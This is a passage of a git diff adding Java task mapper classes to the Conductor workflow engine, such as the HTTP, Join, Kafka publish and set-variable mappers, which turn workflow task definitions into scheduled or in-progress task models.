wfts : forkTasks) { + WorkflowTask wft = wfts.get(0); + List tasks2 = + taskMapperContext + .getDeciderService() + .getTasksToBeScheduled(workflowModel, wft, retryCount); + tasksToBeScheduled.addAll(tasks2); + } + + WorkflowTask joinWorkflowTask = + workflowModel + .getWorkflowDefinition() + .getNextTask(workflowTask.getTaskReferenceName()); + + if (joinWorkflowTask == null || !joinWorkflowTask.getType().equals(TaskType.JOIN.name())) { + throw new TerminateWorkflowException( + "Fork task definition is not followed by a join task. Check the blueprint"); + } + List joinTask = + taskMapperContext + .getDeciderService() + .getTasksToBeScheduled(workflowModel, joinWorkflowTask, retryCount); + + tasksToBeScheduled.addAll(joinTask); + return tasksToBeScheduled; + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/execution/mapper/HTTPTaskMapper.java b/core/src/main/java/com/netflix/conductor/core/execution/mapper/HTTPTaskMapper.java new file mode 100644 index 0000000..4ac2bb4 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/execution/mapper/HTTPTaskMapper.java @@ -0,0 +1,99 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.mapper; + +import java.util.*; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.core.exception.TerminateWorkflowException; +import com.netflix.conductor.core.utils.ParametersUtils; +import com.netflix.conductor.dao.MetadataDAO; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +/** + * An implementation of {@link TaskMapper} to map a {@link WorkflowTask} of type {@link + * TaskType#HTTP} to a {@link TaskModel} of type {@link TaskType#HTTP} with {@link + * TaskModel.Status#SCHEDULED} + */ +@Component +public class HTTPTaskMapper implements TaskMapper { + + private static final Logger LOGGER = LoggerFactory.getLogger(HTTPTaskMapper.class); + + private final ParametersUtils parametersUtils; + private final MetadataDAO metadataDAO; + + public HTTPTaskMapper(ParametersUtils parametersUtils, MetadataDAO metadataDAO) { + this.parametersUtils = parametersUtils; + this.metadataDAO = metadataDAO; + } + + @Override + public String getTaskType() { + return TaskType.HTTP.name(); + } + + /** + * This method maps a {@link WorkflowTask} of type {@link TaskType#HTTP} to a {@link TaskModel} + * in a {@link TaskModel.Status#SCHEDULED} state + * + * @param taskMapperContext: A wrapper class containing the {@link WorkflowTask}, {@link + * WorkflowDef}, {@link WorkflowModel} and a string representation of the TaskId + * @return a List with just one HTTP task + * @throws TerminateWorkflowException In case if the task definition does not exist + */ + @Override + public List getMappedTasks(TaskMapperContext taskMapperContext) + throws TerminateWorkflowException { + + LOGGER.debug("TaskMapperContext {} in HTTPTaskMapper", taskMapperContext); + + WorkflowTask workflowTask = taskMapperContext.getWorkflowTask(); + workflowTask.getInputParameters().put("asyncComplete", workflowTask.isAsyncComplete()); + WorkflowModel workflowModel = taskMapperContext.getWorkflowModel(); + String taskId = taskMapperContext.getTaskId(); + int retryCount = taskMapperContext.getRetryCount(); + + TaskDef taskDefinition = + Optional.ofNullable(taskMapperContext.getTaskDefinition()) + .orElseGet(() -> metadataDAO.getTaskDef(workflowTask.getName())); + + Map input = + parametersUtils.getTaskInputV2( + workflowTask.getInputParameters(), workflowModel, taskId, taskDefinition); + Boolean asynComplete = (Boolean) input.get("asyncComplete"); + + TaskModel httpTask = taskMapperContext.createTaskModel(); + httpTask.setInputData(input); + httpTask.getInputData().put("asyncComplete", asynComplete); + httpTask.setStatus(TaskModel.Status.SCHEDULED); + httpTask.setRetryCount(retryCount); + httpTask.setCallbackAfterSeconds(workflowTask.getStartDelay()); + if (Objects.nonNull(taskDefinition)) { + httpTask.setRateLimitPerFrequency(taskDefinition.getRateLimitPerFrequency()); + httpTask.setRateLimitFrequencyInSeconds( + taskDefinition.getRateLimitFrequencyInSeconds()); + httpTask.setIsolationGroupId(taskDefinition.getIsolationGroupId()); + httpTask.setExecutionNameSpace(taskDefinition.getExecutionNameSpace()); + } + return List.of(httpTask); + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/execution/mapper/HumanTaskMapper.java b/core/src/main/java/com/netflix/conductor/core/execution/mapper/HumanTaskMapper.java new file mode 100644 index 0000000..f91b467 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/execution/mapper/HumanTaskMapper.java @@ -0,0 +1,73 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.mapper; + +import java.util.List; +import java.util.Map; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.core.execution.tasks.Human; +import com.netflix.conductor.core.utils.ParametersUtils; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import static com.netflix.conductor.common.metadata.tasks.TaskType.TASK_TYPE_HUMAN; + +/** + * An implementation of {@link TaskMapper} to map a {@link WorkflowTask} of type {@link + * TaskType#HUMAN} to a {@link TaskModel} of type {@link Human} with {@link + * TaskModel.Status#IN_PROGRESS} + */ +@Component +public class HumanTaskMapper implements TaskMapper { + + public static final Logger LOGGER = LoggerFactory.getLogger(HumanTaskMapper.class); + + private final ParametersUtils parametersUtils; + + public HumanTaskMapper(ParametersUtils parametersUtils) { + this.parametersUtils = parametersUtils; + } + + @Override + public String getTaskType() { + return TaskType.HUMAN.name(); + } + + @Override + public List getMappedTasks(TaskMapperContext taskMapperContext) { + LOGGER.debug("TaskMapperContext {} in HumanTaskMapper", taskMapperContext); + + WorkflowModel workflowModel = taskMapperContext.getWorkflowModel(); + String taskId = taskMapperContext.getTaskId(); + + Map humanTaskInput = + parametersUtils.getTaskInputV2( + taskMapperContext.getWorkflowTask().getInputParameters(), + workflowModel, + taskId, + null); + + TaskModel humanTask = taskMapperContext.createTaskModel(); + humanTask.setTaskType(TASK_TYPE_HUMAN); + humanTask.setInputData(humanTaskInput); + humanTask.setStartTime(System.currentTimeMillis()); + humanTask.setStatus(TaskModel.Status.IN_PROGRESS); + return List.of(humanTask); + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/execution/mapper/InlineTaskMapper.java b/core/src/main/java/com/netflix/conductor/core/execution/mapper/InlineTaskMapper.java new file mode 100644 index 0000000..665d8bc --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/execution/mapper/InlineTaskMapper.java @@ -0,0 +1,87 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.mapper; + +import java.util.List; +import java.util.Map; +import java.util.Objects; +import java.util.Optional; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.core.utils.ParametersUtils; +import com.netflix.conductor.dao.MetadataDAO; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +/** + * An implementation of {@link TaskMapper} to map a {@link WorkflowTask} of type {@link + * TaskType#INLINE} to a List {@link TaskModel} starting with Task of type {@link TaskType#INLINE} + * which is marked as IN_PROGRESS, followed by the list of {@link TaskModel} based on the case + * expression evaluation in the Inline task. + */ +@Component +public class InlineTaskMapper implements TaskMapper { + + public static final Logger LOGGER = LoggerFactory.getLogger(InlineTaskMapper.class); + private final ParametersUtils parametersUtils; + private final MetadataDAO metadataDAO; + + public InlineTaskMapper(ParametersUtils parametersUtils, MetadataDAO metadataDAO) { + this.parametersUtils = parametersUtils; + this.metadataDAO = metadataDAO; + } + + @Override + public String getTaskType() { + return TaskType.INLINE.name(); + } + + @Override + public List getMappedTasks(TaskMapperContext taskMapperContext) { + + LOGGER.debug("TaskMapperContext {} in InlineTaskMapper", taskMapperContext); + + WorkflowTask workflowTask = taskMapperContext.getWorkflowTask(); + WorkflowModel workflowModel = taskMapperContext.getWorkflowModel(); + String taskId = taskMapperContext.getTaskId(); + + TaskDef taskDefinition = + Optional.ofNullable(taskMapperContext.getTaskDefinition()) + .orElseGet(() -> metadataDAO.getTaskDef(workflowTask.getName())); + + Map taskInput = + parametersUtils.getTaskInputV2( + taskMapperContext.getWorkflowTask().getInputParameters(), + workflowModel, + taskId, + taskDefinition); + + TaskModel inlineTask = taskMapperContext.createTaskModel(); + inlineTask.setTaskType(TaskType.TASK_TYPE_INLINE); + inlineTask.setStartTime(System.currentTimeMillis()); + inlineTask.setInputData(taskInput); + if (Objects.nonNull(taskMapperContext.getTaskDefinition())) { + inlineTask.setIsolationGroupId( + taskMapperContext.getTaskDefinition().getIsolationGroupId()); + } + inlineTask.setStatus(TaskModel.Status.IN_PROGRESS); + + return List.of(inlineTask); + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/execution/mapper/JoinTaskMapper.java b/core/src/main/java/com/netflix/conductor/core/execution/mapper/JoinTaskMapper.java new file mode 100644 index 0000000..ee027df --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/execution/mapper/JoinTaskMapper.java @@ -0,0 +1,76 @@ +/* + * Copyright 2021 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.mapper; + +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Objects; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +/** + * An implementation of {@link TaskMapper} to map a {@link WorkflowTask} of type {@link + * TaskType#JOIN} to a {@link TaskModel} of type {@link TaskType#JOIN} + */ +@Component +public class JoinTaskMapper implements TaskMapper { + + public static final Logger LOGGER = LoggerFactory.getLogger(JoinTaskMapper.class); + + @Override + public String getTaskType() { + return TaskType.JOIN.name(); + } + + /** + * This method maps {@link TaskMapper} to map a {@link WorkflowTask} of type {@link + * TaskType#JOIN} to a {@link TaskModel} of type {@link TaskType#JOIN} with a status of {@link + * TaskModel.Status#IN_PROGRESS} + * + * @param taskMapperContext: A wrapper class containing the {@link WorkflowTask}, {@link + * WorkflowDef}, {@link WorkflowModel} and a string representation of the TaskId + * @return A {@link TaskModel} of type {@link TaskType#JOIN} in a List + */ + @Override + public List getMappedTasks(TaskMapperContext taskMapperContext) { + + LOGGER.debug("TaskMapperContext {} in JoinTaskMapper", taskMapperContext); + + WorkflowTask workflowTask = taskMapperContext.getWorkflowTask(); + + Map joinInput = new HashMap<>(); + joinInput.put("joinOn", workflowTask.getJoinOn()); + + TaskModel joinTask = taskMapperContext.createTaskModel(); + joinTask.setTaskType(TaskType.TASK_TYPE_JOIN); + joinTask.setTaskDefName(TaskType.TASK_TYPE_JOIN); + joinTask.setStartTime(System.currentTimeMillis()); + joinTask.setInputData(joinInput); + joinTask.setStatus(TaskModel.Status.IN_PROGRESS); + if (Objects.nonNull(taskMapperContext.getTaskDefinition())) { + joinTask.setIsolationGroupId( + taskMapperContext.getTaskDefinition().getIsolationGroupId()); + } + + return List.of(joinTask); + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/execution/mapper/JsonJQTransformTaskMapper.java b/core/src/main/java/com/netflix/conductor/core/execution/mapper/JsonJQTransformTaskMapper.java new file mode 100644 index 0000000..72468f1 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/execution/mapper/JsonJQTransformTaskMapper.java @@ -0,0 +1,77 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.mapper; + +import java.util.List; +import java.util.Map; +import java.util.Objects; +import java.util.Optional; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.core.utils.ParametersUtils; +import com.netflix.conductor.dao.MetadataDAO; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +@Component +public class JsonJQTransformTaskMapper implements TaskMapper { + + public static final Logger LOGGER = LoggerFactory.getLogger(JsonJQTransformTaskMapper.class); + private final ParametersUtils parametersUtils; + private final MetadataDAO metadataDAO; + + public JsonJQTransformTaskMapper(ParametersUtils parametersUtils, MetadataDAO metadataDAO) { + this.parametersUtils = parametersUtils; + this.metadataDAO = metadataDAO; + } + + @Override + public String getTaskType() { + return TaskType.JSON_JQ_TRANSFORM.name(); + } + + @Override + public List getMappedTasks(TaskMapperContext taskMapperContext) { + + LOGGER.debug("TaskMapperContext {} in JsonJQTransformTaskMapper", taskMapperContext); + + WorkflowTask workflowTask = taskMapperContext.getWorkflowTask(); + WorkflowModel workflowModel = taskMapperContext.getWorkflowModel(); + String taskId = taskMapperContext.getTaskId(); + + TaskDef taskDefinition = + Optional.ofNullable(taskMapperContext.getTaskDefinition()) + .orElseGet(() -> metadataDAO.getTaskDef(workflowTask.getName())); + + Map taskInput = + parametersUtils.getTaskInputV2( + workflowTask.getInputParameters(), workflowModel, taskId, taskDefinition); + + TaskModel jsonJQTransformTask = taskMapperContext.createTaskModel(); + jsonJQTransformTask.setStartTime(System.currentTimeMillis()); + jsonJQTransformTask.setInputData(taskInput); + if (Objects.nonNull(taskMapperContext.getTaskDefinition())) { + jsonJQTransformTask.setIsolationGroupId( + taskMapperContext.getTaskDefinition().getIsolationGroupId()); + } + jsonJQTransformTask.setStatus(TaskModel.Status.IN_PROGRESS); + + return List.of(jsonJQTransformTask); + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/execution/mapper/KafkaPublishTaskMapper.java b/core/src/main/java/com/netflix/conductor/core/execution/mapper/KafkaPublishTaskMapper.java new file mode 100644 index 0000000..455e337 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/execution/mapper/KafkaPublishTaskMapper.java @@ -0,0 +1,95 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.mapper; + +import java.util.Collections; +import java.util.List; +import java.util.Map; +import java.util.Objects; +import java.util.Optional; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.core.exception.TerminateWorkflowException; +import com.netflix.conductor.core.utils.ParametersUtils; +import com.netflix.conductor.dao.MetadataDAO; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +@Component +public class KafkaPublishTaskMapper implements TaskMapper { + + public static final Logger LOGGER = LoggerFactory.getLogger(KafkaPublishTaskMapper.class); + + private final ParametersUtils parametersUtils; + private final MetadataDAO metadataDAO; + + public KafkaPublishTaskMapper(ParametersUtils parametersUtils, MetadataDAO metadataDAO) { + this.parametersUtils = parametersUtils; + this.metadataDAO = metadataDAO; + } + + @Override + public String getTaskType() { + return TaskType.KAFKA_PUBLISH.name(); + } + + /** + * This method maps a {@link WorkflowTask} of type {@link TaskType#KAFKA_PUBLISH} to a {@link + * TaskModel} in a {@link TaskModel.Status#SCHEDULED} state + * + * @param taskMapperContext: A wrapper class containing the {@link WorkflowTask}, {@link + * WorkflowDef}, {@link WorkflowModel} and a string representation of the TaskId + * @return a List with just one Kafka task + * @throws TerminateWorkflowException In case if the task definition does not exist + */ + @Override + public List getMappedTasks(TaskMapperContext taskMapperContext) + throws TerminateWorkflowException { + + LOGGER.debug("TaskMapperContext {} in KafkaPublishTaskMapper", taskMapperContext); + + WorkflowTask workflowTask = taskMapperContext.getWorkflowTask(); + WorkflowModel workflowModel = taskMapperContext.getWorkflowModel(); + String taskId = taskMapperContext.getTaskId(); + int retryCount = taskMapperContext.getRetryCount(); + + TaskDef taskDefinition = + Optional.ofNullable(taskMapperContext.getTaskDefinition()) + .orElseGet(() -> metadataDAO.getTaskDef(workflowTask.getName())); + + Map input = + parametersUtils.getTaskInputV2( + workflowTask.getInputParameters(), workflowModel, taskId, taskDefinition); + + TaskModel kafkaPublishTask = taskMapperContext.createTaskModel(); + kafkaPublishTask.setInputData(input); + kafkaPublishTask.setStatus(TaskModel.Status.SCHEDULED); + kafkaPublishTask.setRetryCount(retryCount); + kafkaPublishTask.setCallbackAfterSeconds(workflowTask.getStartDelay()); + if (Objects.nonNull(taskDefinition)) { + kafkaPublishTask.setExecutionNameSpace(taskDefinition.getExecutionNameSpace()); + kafkaPublishTask.setIsolationGroupId(taskDefinition.getIsolationGroupId()); + kafkaPublishTask.setRateLimitPerFrequency(taskDefinition.getRateLimitPerFrequency()); + kafkaPublishTask.setRateLimitFrequencyInSeconds( + taskDefinition.getRateLimitFrequencyInSeconds()); + } + return Collections.singletonList(kafkaPublishTask); + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/execution/mapper/LambdaTaskMapper.java b/core/src/main/java/com/netflix/conductor/core/execution/mapper/LambdaTaskMapper.java new file mode 100644 index 0000000..37294fa --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/execution/mapper/LambdaTaskMapper.java @@ -0,0 +1,83 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.mapper; + +import java.util.List; +import java.util.Map; +import java.util.Optional; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.core.utils.ParametersUtils; +import com.netflix.conductor.dao.MetadataDAO; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +/** + * @author x-ultra + * @deprecated {@link com.netflix.conductor.core.execution.tasks.Lambda} is also deprecated. Use + * {@link com.netflix.conductor.core.execution.tasks.Inline} and so ${@link InlineTaskMapper} + * will be used as a result. + */ +@Deprecated +@Component +public class LambdaTaskMapper implements TaskMapper { + + public static final Logger LOGGER = LoggerFactory.getLogger(LambdaTaskMapper.class); + private final ParametersUtils parametersUtils; + private final MetadataDAO metadataDAO; + + public LambdaTaskMapper(ParametersUtils parametersUtils, MetadataDAO metadataDAO) { + this.parametersUtils = parametersUtils; + this.metadataDAO = metadataDAO; + } + + @Override + public String getTaskType() { + return TaskType.LAMBDA.name(); + } + + @Override + public List getMappedTasks(TaskMapperContext taskMapperContext) { + + LOGGER.debug("TaskMapperContext {} in LambdaTaskMapper", taskMapperContext); + + WorkflowTask workflowTask = taskMapperContext.getWorkflowTask(); + WorkflowModel workflowModel = taskMapperContext.getWorkflowModel(); + String taskId = taskMapperContext.getTaskId(); + + TaskDef taskDefinition = + Optional.ofNullable(taskMapperContext.getTaskDefinition()) + .orElseGet(() -> metadataDAO.getTaskDef(workflowTask.getName())); + + Map taskInput = + parametersUtils.getTaskInputV2( + taskMapperContext.getWorkflowTask().getInputParameters(), + workflowModel, + taskId, + taskDefinition); + + TaskModel lambdaTask = taskMapperContext.createTaskModel(); + lambdaTask.setTaskType(TaskType.TASK_TYPE_LAMBDA); + lambdaTask.setStartTime(System.currentTimeMillis()); + lambdaTask.setInputData(taskInput); + lambdaTask.setStatus(TaskModel.Status.IN_PROGRESS); + + return List.of(lambdaTask); + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/execution/mapper/NoopTaskMapper.java b/core/src/main/java/com/netflix/conductor/core/execution/mapper/NoopTaskMapper.java new file mode 100644 index 0000000..17a53db --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/execution/mapper/NoopTaskMapper.java @@ -0,0 +1,46 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.mapper; + +import java.util.List; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.model.TaskModel; + +import static com.netflix.conductor.common.metadata.tasks.TaskType.*; + +@Component +public class NoopTaskMapper implements TaskMapper { + + public static final Logger logger = LoggerFactory.getLogger(NoopTaskMapper.class); + + @Override + public String getTaskType() { + return TaskType.NOOP.name(); + } + + @Override + public List getMappedTasks(TaskMapperContext taskMapperContext) { + logger.debug("TaskMapperContext {} in NoopTaskMapper", taskMapperContext); + + TaskModel task = taskMapperContext.createTaskModel(); + task.setTaskType(TASK_TYPE_NOOP); + task.setStartTime(System.currentTimeMillis()); + task.setStatus(TaskModel.Status.IN_PROGRESS); + return List.of(task); + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/execution/mapper/PullWorkflowMessagesTaskMapper.java b/core/src/main/java/com/netflix/conductor/core/execution/mapper/PullWorkflowMessagesTaskMapper.java new file mode 100644 index 0000000..6f91cdd --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/execution/mapper/PullWorkflowMessagesTaskMapper.java @@ -0,0 +1,74 @@ +/* + * Copyright 2024 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.mapper; + +import java.util.List; +import java.util.Map; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.core.execution.tasks.PullWorkflowMessages; +import com.netflix.conductor.core.utils.ParametersUtils; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +/** + * {@link TaskMapper} for the {@code PULL_WORKFLOW_MESSAGES} system task type. + * + *

    Creates an {@code IN_PROGRESS} task with the caller's input parameters (notably {@code + * batchSize}) resolved. The system task worker picks it up and calls {@link + * PullWorkflowMessages#execute} on each poll cycle until messages arrive. + */ +@Component +@ConditionalOnProperty(name = "conductor.workflow-message-queue.enabled", havingValue = "true") +public class PullWorkflowMessagesTaskMapper implements TaskMapper { + + private static final Logger LOGGER = + LoggerFactory.getLogger(PullWorkflowMessagesTaskMapper.class); + + private final ParametersUtils parametersUtils; + + public PullWorkflowMessagesTaskMapper(ParametersUtils parametersUtils) { + this.parametersUtils = parametersUtils; + } + + @Override + public String getTaskType() { + return TaskType.PULL_WORKFLOW_MESSAGES.name(); + } + + @Override + public List getMappedTasks(TaskMapperContext taskMapperContext) { + LOGGER.debug("TaskMapperContext {} in PullWorkflowMessagesTaskMapper", taskMapperContext); + + WorkflowTask workflowTask = taskMapperContext.getWorkflowTask(); + WorkflowModel workflowModel = taskMapperContext.getWorkflowModel(); + String taskId = taskMapperContext.getTaskId(); + + Map input = + parametersUtils.getTaskInputV2( + workflowTask.getInputParameters(), workflowModel, taskId, null); + + TaskModel task = taskMapperContext.createTaskModel(); + task.setTaskType(PullWorkflowMessages.TASK_TYPE); + task.setInputData(input); + task.setStartTime(System.currentTimeMillis()); + task.setStatus(TaskModel.Status.IN_PROGRESS); + return List.of(task); + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/execution/mapper/SetVariableTaskMapper.java b/core/src/main/java/com/netflix/conductor/core/execution/mapper/SetVariableTaskMapper.java new file mode 100644 index 0000000..e12caf4 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/execution/mapper/SetVariableTaskMapper.java @@ -0,0 +1,47 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.mapper; + +import java.util.List; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.core.exception.TerminateWorkflowException; +import com.netflix.conductor.model.TaskModel; + +@Component +public class SetVariableTaskMapper implements TaskMapper { + + public static final Logger LOGGER = LoggerFactory.getLogger(SetVariableTaskMapper.class); + + @Override + public String getTaskType() { + return TaskType.SET_VARIABLE.name(); + } + + @Override + public List getMappedTasks(TaskMapperContext taskMapperContext) + throws TerminateWorkflowException { + LOGGER.debug("TaskMapperContext {} in SetVariableMapper", taskMapperContext); + + TaskModel varTask = taskMapperContext.createTaskModel(); + varTask.setStartTime(System.currentTimeMillis()); + varTask.setInputData(taskMapperContext.getTaskInput()); + varTask.setStatus(TaskModel.Status.IN_PROGRESS); + + return List.of(varTask); + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/execution/mapper/SimpleTaskMapper.java b/core/src/main/java/com/netflix/conductor/core/execution/mapper/SimpleTaskMapper.java new file mode 100644 index 0000000..db06679 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/execution/mapper/SimpleTaskMapper.java @@ -0,0 +1,98 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

